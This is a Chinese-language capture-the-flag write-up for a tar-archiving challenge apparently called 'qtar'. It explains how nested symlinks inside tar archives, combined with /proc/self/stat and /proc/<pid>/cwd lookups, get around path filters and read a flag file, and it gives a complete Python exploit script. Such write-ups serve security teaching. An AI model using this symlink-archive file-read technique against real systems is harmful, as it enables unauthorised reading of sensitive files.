Writeup

考察路径穿越，有两处限制：一是路径中不能出现/和.且tar压缩包文件内部中不能出现home，二是只能解压先前被压缩的文件且只能读取被解压出的文件。主要思路就是构造指向/home/ctf/flag的软链接并且绕过检测读取之。

使用软链接读取实现任意目标文件的具体流程如下：

- 随便上传一个文件，然后压缩，生成压缩文件A
- 使用ln -s <file> <A>生成目标文件的软链接，并将软链接命名为A
- 上传含有该软链接的tar压缩文件，重命名为A，随后解压，覆盖A

  > 第一次覆盖A，此时A为含有软链的tar压缩包

- 再次解压A，释放软链接，覆盖A

  > 第二次覆盖A，此时A为指向目标文件的软链接

- 读取A即可读出目标文件的内容

相关代码如下：

```
def leak(filename):
    f1 = upload('taqini know the flag')
    log.info('uploaded file: '+f1)

    c1 = compress(f1,'TaQini')
    log.info('compressed file: '+c1)
    log.info('archive file name: '+'TaQini')

    # create soft link file
    os.system('ln -s %s %s'%(filename, c1))
    os.system('tar cvf payload.tar '+c1+' >/dev/null')
    payload = open('payload.tar').read()

    f2 = upload(payload)
    log.info('uploaded file '+f2)

    c2 = compress(f2, c1)
    log.info('compressed file: '+c2)
    log.info('archive file name: '+c1)

    extract(c2)
    log.info('extract '+c2+' --> '+c1)

    extract(c1)
    log.info('extract '+c1+' --> '+c1)

    log.info('readfile: '+c1)
```

```
    data = readfile(c1)

    log.success('data:'+data)
    return data
```

```
def upload(data):
    sla('> ','u')
    sla('Content:',data)
    ru('as /tmp/')
    return rc(32)

def compress(filename, arcname):
    sla('> ','c')
    sla('Filename: /tmp/',filename)
    sla('Rename archive file? [y/N]','y')
    sla('Arcname: ',arcname)
    ru('as ')
    return rc(32)

def extract(filename):
    sla('> ','x')
    sla('Filename:',filename)

def readfile(filename):
    sla('> ','r')
    sla('Filename:',filename)
    return ru('\n')
```

绕过home检测的方式如下：

- 通过读取/proc/self/stat泄漏父进程pid
- 再通过读取/proc/父进程pid/cwd/flag读取flag

> 根据附件启动脚本
>
> ```
> #!/bin/bash
> cd /home/ctf
> stdbuf -i 0 -o 0 -e 0 /usr/bin/timeout 90 ./qtar
> ```
>
> 可知qtar的父进程cwd为/home/ctf

故全部exp为：

```
pid = leak('/proc/self/stat').split()[3]
print pid
flag = leak('/proc/%s/cwd/flag'%pid)
print flag
```